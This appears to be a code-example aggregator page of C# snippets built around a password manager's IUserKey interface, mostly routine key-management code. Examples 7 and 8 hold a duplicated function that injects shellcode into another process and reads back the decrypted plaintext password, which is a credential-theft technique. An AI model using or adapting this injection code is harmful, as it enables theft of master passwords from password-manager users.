public bool RemoveUserKey(IUserKey pKey)
        {
            Debug.Assert(pKey != null); if (pKey == null) throw new ArgumentNullException("pKey");

            Debug.Assert(m_vUserKeys.IndexOf(pKey) >= 0);
            return m_vUserKeys.Remove(pKey);
        }
Esempio n. 2
0
        // /// <summary>
        // /// Deconstructor, clears up the key.
        // /// </summary>
        // ~CompositeKey()
        // {
        //	Clear();
        // }

        // /// <summary>
        // /// Clears the key. This function also erases all previously stored
        // /// user key data objects.
        // /// </summary>
        // public void Clear()
        // {
        //	foreach(IUserKey pKey in m_vUserKeys)
        //		pKey.Clear();
        //	m_vUserKeys.Clear();
        // }

        /// <summary>
        /// Add a user key.
        /// </summary>
        /// <param name="pKey">User key to add.</param>
        public void AddUserKey(IUserKey pKey)
        {
            Debug.Assert(pKey != null); if (pKey == null)
            {
                throw new ArgumentNullException("pKey");
            }

            m_vUserKeys.Add(pKey);
        }
Esempio n. 3
0
        /// <summary>
        /// Remove a user key.
        /// </summary>
        /// <param name="pKey">User key to remove.</param>
        /// <returns>Returns <c>true</c> if the key was removed successfully.</returns>
        public bool RemoveUserKey(IUserKey pKey)
        {
            Debug.Assert(pKey != null); if (pKey == null)
            {
                throw new ArgumentNullException("pKey");
            }

            Debug.Assert(m_vUserKeys.IndexOf(pKey) >= 0);
            return(m_vUserKeys.Remove(pKey));
        }
Esempio n. 4
0
        /// <summary>
        /// This function checks if the actual SyncSource (this) represents exactly the same
        /// SyncSource that would occur if we will use the given entry and db to create a new one.
        /// </summary>
        /// <param name="entry">The PwEntry from our db that should represent a SyncSource.</param>
        /// <param name="db">The db which contains the given entry.</param>
        /// <returns>True if (entry + db) will create the same SyncSource object like "this".</returns>
        public bool IsEqual(PwEntry entry, PwDatabase db)
        {
            if (!IsSimilar(entry, db))
            {
                return(false);
            }
            IUserKey key1 = new KcpPassword(entry.Strings.ReadSafe(KeeShare.PasswordField));
            IUserKey key2 = m_key.GetUserKey(typeof(KcpPassword));

            // null is interpreted as equal
            return(key1 == key2 || key1.KeyData.Equals(key2.KeyData));
        }
Esempio n. 5
0
        public CompositeKey GetCompositeKey(KeyCipher keyCipher)
        {
            var password     = keyCipher.UnProtect(_protectedPassword);
            var compositeKey = new CompositeKey();

            foreach (var data in _keys)
            {
                IUserKey key     = null;
                byte[]   rawData = null;
                if (data.KcpType != KcpType.kcpUserAccount)
                {
                    rawData = keyCipher.Decrypt(data.EncryptedData, password);
                }

                try
                {
                    switch (data.KcpType)
                    {
                    case KcpType.kcpCustomKey:
                        key = new KcpCustomKey(data.CustomName, rawData, false);
                        break;

                    case KcpType.kcpPassword:
                        key = new KcpPassword(rawData);
                        break;

                    case KcpType.kcpKeyFile:
                        key = new KcpKeyFile(Encoding.UTF8.GetString(rawData));
                        break;

                    case KcpType.kcpUserAccount:
                        key = new KcpUserAccount();
                        break;
                    }
                }
                finally
                {
                    if (rawData != null)
                    {
                        MemUtil.ZeroByteArray(rawData);
                    }
                }

                Debug.Assert(key != null);
                compositeKey.AddUserKey(key);
            }

            return(compositeKey);
        }
Esempio n. 6
0
		public void SetKeySources(IOConnectionInfo iocDb, CompositeKey cmpKey)
		{
			string strID = GetKeyAssocID(iocDb);
			int idx = GetKeyAssocIndex(strID);

			if((cmpKey == null) || !m_bRememberKeySources)
			{
				if(idx >= 0) m_vKeySources.RemoveAt(idx);
				return;
			}

			AceKeyAssoc a = new AceKeyAssoc();
			a.DatabasePath = strID;

			IUserKey kcpFile = cmpKey.GetUserKey(typeof(KcpKeyFile));
			if(kcpFile != null)
			{
				string strKeyFile = ((KcpKeyFile)kcpFile).Path;
				if(!string.IsNullOrEmpty(strKeyFile) && !StrUtil.IsDataUri(strKeyFile))
				{
					if(!UrlUtil.IsAbsolutePath(strKeyFile))
						strKeyFile = UrlUtil.MakeAbsolutePath(WinUtil.GetExecutable(),
							strKeyFile);

					a.KeyFilePath = strKeyFile;
				}
			}

			IUserKey kcpCustom = cmpKey.GetUserKey(typeof(KcpCustomKey));
			if(kcpCustom != null)
				a.KeyProvider = ((KcpCustomKey)kcpCustom).Name;

			IUserKey kcpUser = cmpKey.GetUserKey(typeof(KcpUserAccount));
			a.UserAccount = (kcpUser != null);

			bool bAtLeastOne = ((a.KeyFilePath.Length > 0) ||
				(a.KeyProvider.Length > 0) || a.UserAccount);
			if(bAtLeastOne)
			{
				if(idx >= 0) m_vKeySources[idx] = a;
				else m_vKeySources.Add(a);
			}
			else if(idx >= 0) m_vKeySources.RemoveAt(idx);
		}
Esempio n. 7
0
        public static void ExtractKeyInfo(IUserKey key, IntPtr ProcessHandle, bool DecryptKeys)
        {
            if (!DecryptKeys)
            {
                Logger.WriteLine(key);
            }
            else
            {
                IntPtr EncryptedBlobAddr = Win32.AllocateRemoteBuffer(ProcessHandle, key.encryptedBlob);
                byte[] Shellcode         = GenerateDecryptionShellCode(EncryptedBlobAddr, key.encryptedBlob.Length);

                // Execute the ShellCode
                IntPtr ShellcodeAddr = Win32.AllocateRemoteBuffer(ProcessHandle, Shellcode);

                IntPtr ThreadId           = IntPtr.Zero;
                IntPtr RemoteThreadHandle = Win32.CreateRemoteThread(ProcessHandle, IntPtr.Zero, 0, ShellcodeAddr, IntPtr.Zero, 0, out ThreadId);
                if (RemoteThreadHandle == IntPtr.Zero)
                {
                    Logger.WriteLine("Error: Could not create a thread for the shellcode");
                    return;
                }

                // Read plaintext password!
                Thread.Sleep(1000);
                IntPtr NumBytes;
                byte[] plaintextBytes = new byte[key.encryptedBlob.Length];
                int    res            = Win32.ReadProcessMemory(ProcessHandle, EncryptedBlobAddr, plaintextBytes, plaintextBytes.Length, out NumBytes);
                if (res != 0 && NumBytes.ToInt64() == plaintextBytes.Length)
                {
                    key.plaintextBlob = plaintextBytes;
                    Logger.WriteLine(key);
                }

                // Dunno why, but VirtualFree was causing crashes...
                // Thread.Sleep(4000);  // Wait for the shellcode to finish executing
                // Win32.VirtualFreeEx(ProcessHandle, ShellcodeAddr, 0, Win32.FreeType.Release);
            }
        }
Esempio n. 8
0
        public static void ExtractKeyInfo(IUserKey key, IntPtr ProcessHandle, bool DecryptKeys)
        {
            if (!DecryptKeys)
            {
                Logger.WriteLine(key);
            }
            else
            {
                IntPtr EncryptedBlobAddr = Win32.AllocateRemoteBuffer(ProcessHandle, key.encryptedBlob);
                byte[] Shellcode = GenerateDecryptionShellCode(EncryptedBlobAddr, key.encryptedBlob.Length);

                // Execute the ShellCode
                IntPtr ShellcodeAddr = Win32.AllocateRemoteBuffer(ProcessHandle, Shellcode);

                IntPtr ThreadId = IntPtr.Zero;
                IntPtr RemoteThreadHandle = Win32.CreateRemoteThread(ProcessHandle, IntPtr.Zero, 0, ShellcodeAddr, IntPtr.Zero, 0, out ThreadId);
                if (RemoteThreadHandle == IntPtr.Zero)
                {
                    Logger.WriteLine("Error: Could not create a thread for the shellcode");
                    return;
                }

                // Read plaintext password!
                Thread.Sleep(1000);
                IntPtr NumBytes;
                byte[] plaintextBytes = new byte[key.encryptedBlob.Length];
                int res = Win32.ReadProcessMemory(ProcessHandle, EncryptedBlobAddr, plaintextBytes, plaintextBytes.Length, out NumBytes);
                if (res != 0 && NumBytes.ToInt64() == plaintextBytes.Length)
                {
                    key.plaintextBlob = plaintextBytes;
                    Logger.WriteLine(key);
                }

                // Dunno why, but VirtualFree was causing crashes...
                // Thread.Sleep(4000);  // Wait for the shellcode to finish executing
                // Win32.VirtualFreeEx(ProcessHandle, ShellcodeAddr, 0, Win32.FreeType.Release);
            }
        }
Esempio n. 9
0
        // /// <summary>
        // /// Deconstructor, clears up the key.
        // /// </summary>
        // ~CompositeKey()
        // {
        //    Clear();
        // }
        // /// <summary>
        // /// Clears the key. This function also erases all previously stored
        // /// user key data objects.
        // /// </summary>
        // public void Clear()
        // {
        //    foreach(IUserKey pKey in m_vUserKeys)
        //        pKey.Clear();
        //    m_vUserKeys.Clear();
        // }
        /// <summary>
        /// Add a user key.
        /// </summary>
        /// <param name="pKey">User key to add.</param>
        public void AddUserKey(IUserKey pKey)
        {
            Debug.Assert(pKey != null); if(pKey == null) throw new ArgumentNullException("pKey");

            m_vUserKeys.Add(pKey);
        }